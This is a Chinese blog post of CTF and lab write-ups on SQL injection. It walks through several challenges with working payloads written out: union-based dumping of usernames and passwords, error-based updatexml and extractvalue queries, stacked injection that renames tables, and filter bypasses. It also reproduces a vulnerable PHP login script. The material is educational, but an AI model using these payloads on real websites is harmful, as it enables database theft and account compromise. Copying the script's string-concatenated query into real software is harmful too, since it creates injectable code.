web
https://blog.csdn.net/weixin_44604541/article/details/110149949?ops_request_misc=&request_id=&biz_id=102&utm_term=PHP%E5%AD%97%E7%AC%A6%E4%B8%B2%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduweb~default-7-110149949.142v63pc_rank_34_queryrelevant25,201v3control,213v2t3_control1&spm=1018.2226.3001.4187
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-veoaoxf9-1669777517482)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1668782834001.png)]
游戏题,杀死boss就可以得flag
但是他的js文件我们是可以直接在调试器里面看到的
所以我们可以直接找到boss死后的源代码
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ANScEp4f-1669777517483)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1668782903252.png)]
放到控制台跑
可以出flag
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OSCi0tDb-1669777517483)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1668782923517.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lcKYusUu-1669777517483)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664971395784.png)]
先查看是否有回显,是有的
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-daQk2XlW-1669777517484)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664971444990.png)]
用?id=1’查看闭合方式,出现报错,表明是单引号闭合
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nLsOjn4m-1669777517484)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664971535379.png)]
好像过滤了#,不影响,用–+代替
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NZBu0Abm-1669777517484)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664971564333.png)]
?id=1’ order by 3–+
没问题
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u4Sydpba-1669777517485)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664971600924.png)]
、列里面没有4,证明就三个位置字段
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CdW2lxlu-1669777517486)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664971657161.png)]
2,3为回显位
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-b9RqXsnf-1669777517486)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664971684083.png)]
数据库可以爆出来
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sBGXHIGq-1669777517486)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664971774157.png)]
查查数据库里面有什么表
?id=-1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()–+
爆出来了
我们需要查看user表里面的账号和密码
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4aKJcSTt-1669777517486)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664971888090.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fjXwgy42-1669777517487)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664972029871.png)]
?id=-1’union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’–+
里面有两个列叫username和password
那么我们就可以看看里面的账号和密码了
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-59WtPNsq-1669777517487)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664972128141.png)]
?id=-1’ union select 1,group_concat(username),group_concat(password) from users–+
完美
####less2
这关主要和上关的区别就是闭合方式不同,有两种方式可以判断闭合方式,一种是看报错,怎么看
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-d6HLtZo4-1669777517487)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664973696442.png)]
看我写了一个’-1,除去最外面的‘’,再减去我们的输入就是他的闭合方式。
或者用字符型或者数字型注入来判断,如果是数字型就可以不用判断,不需要判断,如果是字符型就需要判断
怎么判断,就是你输入几个字母就可以
还是学习一个闭合方式‘)记住就是看右边的
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Gzp5Yi9v-1669777517487)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664974946772.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1rQJbg4A-1669777517488)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664977114021.png)]
难度就是
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cZhQQ9ZS-1669777517488)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664977130632.png)]
你得用""包裹变成字符型才可以得到报错然后判断闭合
报错注入,看error
就是一个万能密码的使用
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-clOkCWiB-1669777517488)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663756933035.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-myDEAhOx-1669777517488)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663516408950.png)]
网页的title提醒了参数是wllm,其实就是id的名字是wllm,就用get传参?wllm=1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rE3y6ad7-1669777517489)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663516477269.png)]
出现了这样的一个页面,然后就是开始sql注入
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7LLOZaaL-1669777517489)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663516537225.png)]
传参了?wllm=1’出现了报错看着这个报错发现是单引号闭合,为什么呢?因为本来没打引号是对的,因为它数据库里面本来就有一个引号,再加一个引号就多了一个所以就会错
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-W1o0uUNj-1669777517489)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663516631518.png)]
就试一试嘛,发现可以,就这么用然后用order by 开始看看有几列的数据库表,这里#被过滤了,不信可以试试,我是没有回显的。所以这里要用–+来替代。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3uMv3SoS-1669777517489)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663516937278.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QQGRbZqa-1669777517490)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663516949736.png)]
很明显了只有3列。
用联合查询看看回显点,哪里可以sql注入也就是union select
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DCWn1e8W-1669777517490)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663517043438.png)]
回显点,也就是回显的列是2,3.
接下来看看可不可以查到数据库
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tvarSTeF-1669777517490)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663517109627.png)]
在2,3这两个点随便找一个用database ()去sql注入爆出数据库。
得到了他的数据库名字叫test_db
然后就是看看这个数据库的表叫什么
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9XUoaXYZ-1669777517490)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663517393143.png)]
用 group_concat(table_name) from information-schema.tables where table_schema='table_db’这个命令
information_schema.tables是数据库里面自带的查询表
查到了表名叫users和test_tb。
现在我们已经看到了对方的数据库里面很核心的内容了,其实到数据库就已经可以了,在现实的挖漏洞的时候到数据库名就可以了,但是我们现在要的是flag所以我们要跟进一步,看看它表里面有什么东西
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-X2hYrftp-1669777517491)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663517778157.png)]
这里用group_concat(column_name) from information_schema.columns where table_name=''来查询,users里面有这些数据,这里就存这所有的用户数据,但是没有flag所以我们看看test_tb里面有什么。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mzz9n3Br-1669777517491)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663517915511.png)]
哦,flag欧克,看看它
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wLeeWCF6-1669777517497)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663518004123.png)]
用group_concat(字段名) from 表名 可以直接看内容,这就是一个标准的sql注入
先用万能钥匙 1’ or 1=1 #测一下
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-h7nlhNnw-1669777517497)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663950346396.png)]
有回显是对的
看看列数罗, 1 order by 2 #
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6aKA2NHK-1669777517497)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663950404429.png)]
1’ order by 3 #
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cLjYLojE-1669777517498)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663950454363.png)]
那就是两列罗
union select 查询
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ttsG3P2h-1669777517498)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663950493256.png)]
几把,黑名单,select给我过滤了,难办
学了一手堆叠注入
-1’;show databases;#
这个查数据库
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XFy6CdwB-1669777517498)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663950652914.png)]
查到了!
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DyTAh0nR-1669777517498)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663950717068.png)]
两个表名,试试上面这个查列
1’;use supersqli;show columns from 1919810931114514
;#
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qcZGApew-1669777517499)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663950870321.png)]
有flag了, select flag from 1919810931114514
,但是select被过滤了只要网上冲浪看看大佬们怎么做的 。
们查询word列发现结构大致相同,由于注入框的查询是对列id
的搜索,此时参考两个表的列名,需要将flag
列名改为能够查找的id
列(修改包括名称和数据类型)。
1’;rename tables words
to words1
;rename tables 1919810931114514
to words
; alter table words
change flag
id
varchar(100);#
在用1’ or 1=1#就查出来了
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-s30Ct9kL-1669777517499)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663950932239.png)]
就是一个报错注入
单引号闭合,可以看源码
http://1.14.71.254:28453/index.php?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JHjSBeZj-1669777517500)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665227777863.png)]
出数据库名
然后就是一个套路
http://1.14.71.254:28352/index.php?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--+
查表名
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-s4VMyn3k-1669777517500)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665229585294.png)]
查列名
http://1.14.71.254:28352/index.php?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name="test_tb" limit 1,1),0x7e),1)--+
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pZmqhjji-1669777517500)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665229667490.png)]
查到一半???
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QdrIJ0JD-1669777517500)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665229718238.png)]
结束
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FCvpJMn8-1669777517501)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665451226274.png)]
杰哥又是你杰哥,这次有了waf过滤
我们试试输入参数
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ihry4JOf-1669777517501)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665451271838.png)]
?wllm=1没有问题
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XJW4Bt9t-1669777517501)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665451310085.png)]
?wllm=1’报错,发现是单引号闭合
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lVuUG35C-1669777517501)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665451362529.png)]
寄了,这里是空格过滤了,注释也过滤了
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hmQw41Tu-1669777517501)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665451430727.png)]
分别用/**/和%23代替
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QwGqmfMp-1669777517502)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665451466936.png)]
查到了共3列
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r2TTpZWu-1669777517502)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665451584762.png)]
常规联合查询
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rVYH5ppm-1669777517502)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665451609656.png)]
数据库
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Bxk5vEkI-1669777517502)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665451716997.png)]
?????
=过滤了用like代替
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zMgvEtl5-1669777517503)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665451769296.png)]
列名
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-foU9OW1B-1669777517503)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665451804199.png)]
字段
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QNGHJ79Z-1669777517503)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665451843326.png)]
一部分flag
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r7dzblcR-1669777517503)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665451877733.png)]
用mid依次爆出
乱试
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iKDFtYkW-1669777517503)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1668347709746.png)]
只要是数字都有回显
字符就不行
然后1’没有回显,感觉是带了字符就不太行,也不懂
试了一下万能钥匙
1’ or 1=1#
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SXoBsDM4-1669777517504)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1668347829098.png)]
明显有过滤
是or被过滤了
查查有多少列
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yHr48NtP-1669777517504)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1668347921321.png)]
order被过滤了
算了,别想报错注入了
看别人的博客还发现了有人尝试了布尔盲注和时间盲注
布尔盲注想看看数据库名是不是大于1,好吧还是没有用
1 and length(database())>=1#
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8fC5kyq6-1669777517504)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1668348181504.png)]
1 and if(length(database())>=1,1,sleep(5))#
时间盲注的语句发现也是nonono
最后还是尝试堆叠注入
1;show databases#
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UvlFwsFI-1669777517504)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1668348339283.png)]
终于有了回显
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ttdmIEPm-1669777517505)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1668348404033.png)]
1;show tables#
查查Flag里面的字段
1;show columns from Flag#
查不到寄
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CyTGb02E-1669777517505)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1668348508988.png)]
其实我觉得这道题学到这里就差不多了
看别人的wp他们是猜出了源码语句
sql=select.post[‘query’].“||flag from Flag”;(拼接语句)
如果$post[‘query’]的数据为
*,1
sql语句就变成了select *,1||flag from Flag,
就是select *,1 from Flag,这样就直接查询出了Flag表中的所有内容。
此处的1是临时增加一列,列名为1且这一列的所有值都为1
执行payload:*,1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-N3zlF0Wz-1669777517505)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1668356096608.png)]
得到flag
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6Q04gwOV-1669777517505)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669114634066.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TXVhz21q-1669777517505)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669116392607.png)]
我先判断一下哪个是sql注入的点,应该就是密码框了
就直接开始对密码框进行操作。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iEiscFWu-1669777517506)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669116039310.png)]
判断是字符型还是数字型,输入字符串没有报错,那就是字符型
开始判断闭合
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WCXBmqcI-1669777517506)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669116104702.png)]
这个就是单引号闭合了
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ywS2WeSh-1669777517506)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669116513895.png)]
这个username和password应该是一起被检测的,所以我们也必须用密码框进行注入,然后我用单引号对username进行了闭合,发现报错取消,也就证明了一定是单引号闭合
经过测试,发现union order都被过滤了,然后又有报错,所以不用联合查询,用报错注入
https://blog.csdn.net/silence1_/article/details/90812612
先试试extractvalue这个函数
payload:?username=1 &password=1’^extractvalue(1,concat(‘~’,(database())))%23
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-o111azre-1669777517506)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669117889119.png)]
出来了库名
继续表名
payload2:?username=1 &password=1’^extractvalue(1,concat(‘~’,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))))%23
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yoRYpcuY-1669777517507)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669118190827.png)]
?username=1 &password=1’^extractvalue(1,concat(‘~’,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database()))))%23
一个表,行爆字段
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-J7ETzbQV-1669777517507)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669118289852.png)]
非常顺利
查信息罗
这里用了括号代替空格
?username=1 &password=1’^extractvalue(1,concat(‘~’,(select(group_concat(password))from(H4rDsq1)where(id)like(1))))%23
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-y6Cqi8zb-1669777517507)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669118465606.png)]
flag只能看到一部分,因为这个函数默认是左边,我们看看右边
?username=1 &password=1’^extractvalue(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1)where(id)like(1))))%23
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MLAeBhwt-1669777517507)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669118585694.png)]
用updatexml函数
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mePVfRnV-1669777517507)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669119077419.png)]
?username=1&password=1’or(updatexml(1,concat(‘‘,database(),’’),1))%23
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-py7vTloE-1669777517508)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669119458325.png)]
?username=1&password=1’or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(‘geek’)),0x7e),1))%23
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ByKTbL9a-1669777517508)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669119535835.png)]
?username=1&password=1’or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘H4rDsq1’)),0x7e),1))%23
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2lNQOtSK-1669777517508)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669119582767.png)]
?username=1&password=1’or(updatexml(1,concat(0x7e,(select(group_concat(id,‘‘,username,’’,password))from(H4rDsq1)),0x7e),1))%23
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Cc9PZQGf-1669777517508)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669119613989.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-h80Dazti-1669777517508)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669253562748.png)]
打开是个输入框,然后抓包嘛,方便输入
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-62fGIk77-1669777517509)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669253614533.png)]
这里就看到了输入的参数然后还有一个hint
这种全大写的就是base32解密,然后可以再base64解密
可以得到一个后台语句
select * from user where username = '$name'
我可以看到注入点是username
而且是字符型
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7KmN9ASl-1669777517509)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669279144284.png)]
order by 查询列,但是这里order 被过滤了,用大小写绕过
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1V1bvvv5-1669777517509)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669279220185.png)]
三列
联合查询
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Wght2UVJ-1669777517509)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669279714394.png)]
补充一点点联合查询的知识点,就是联合查询如果数据库里面没有查到,就会根据我们的查询区创造一个假的列名。这里我们经过测试发现了2号位是username,3号蔚自然就是password,我们在这里创建一个不存在的密码,再让我们的password去查询就可以得到flag,但是数据库肯定是会有加密的,常见的就是md5,所以我们对我我们的123456进行md5加密
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tJqayncP-1669777517510)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669279915044.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JDgBkbwe-1669777517510)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669279934190.png)]
类似源码
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";
// 去除转义
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}
$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);
if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}
?>
黑名单根本不是重点
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4pm6Mz7o-1669777517510)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669290000443.png)]
和之前的supersqli长得几乎一模一样,fuzz一下
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ekcLIW7Z-1669777517510)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669290126431.png)]
它说的黑名单出现了
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-j0gGLAsn-1669777517511)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669290164401.png)]
这里可以看到有这些被过滤了,order by还可以用,能传统艺能就传统
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bE3i6LVz-1669777517511)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669290223288.png)]
两个字段
但是后面的联合查询绕不过,和前面的supersqli一样用堆叠注入
1’;show databases;#
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-B9ecvMSO-1669777517511)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669290304712.png)]
这里查出来了数据库
1’;show tables from supersqli;#
